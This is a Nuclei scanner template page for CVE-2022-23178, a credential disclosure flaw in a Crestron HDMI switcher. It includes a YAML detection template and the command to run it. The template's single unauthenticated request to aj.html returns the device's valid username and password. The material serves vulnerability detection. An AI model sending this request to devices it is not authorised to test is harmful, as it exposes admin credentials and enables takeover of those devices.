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Nuclei Templates

Crestron Device - Credentials Disclosure

ID: CVE-2022-23178

Severity: critical

Author: gy741

Tags: cve,cve2022,crestron,disclosure

Description

Section titled “Description”

An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.

YAML Source

Section titled “YAML Source”
id: CVE-2022-23178


info:
  name: Crestron Device - Credentials Disclosure
  author: gy741
  severity: critical
  description: An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.
  impact: |
    An attacker can obtain sensitive credentials, leading to unauthorized access and potential compromise of the device.
  remediation: |
    Update the Crestron Device firmware to the latest version to mitigate the vulnerability.
  reference:
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23178
    - https://de.crestron.com/Products/Video/HDMI-Solutions/HDMI-Switchers/HD-MD4X2-4K-E
    - https://www.redteam-pentesting.de/advisories/rt-sa-2021-009
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23178
    cwe-id: CWE-287
    epss-score: 0.03228
    epss-percentile: 0.91216
    cpe: cpe:2.3:o:crestron:hd-md4x2-4k-e_firmware:1.0.0.2159:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: crestron
    product: hd-md4x2-4k-e_firmware
  tags: cve,cve2022,crestron,disclosure


http:
  - method: GET
    path:
      - "{{BaseURL}}/aj.html?a=devi"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"uname":'
          - '"upassword":'
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402203ca8ae278054dd38e6002f77acbfe62bcd616ffa3144234d16603800513a147002207feaa1e2960b808ba7ac26c80507a437c1a581c2a392441b1c2b1c89a1791f5d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-23178.yaml"

View on Github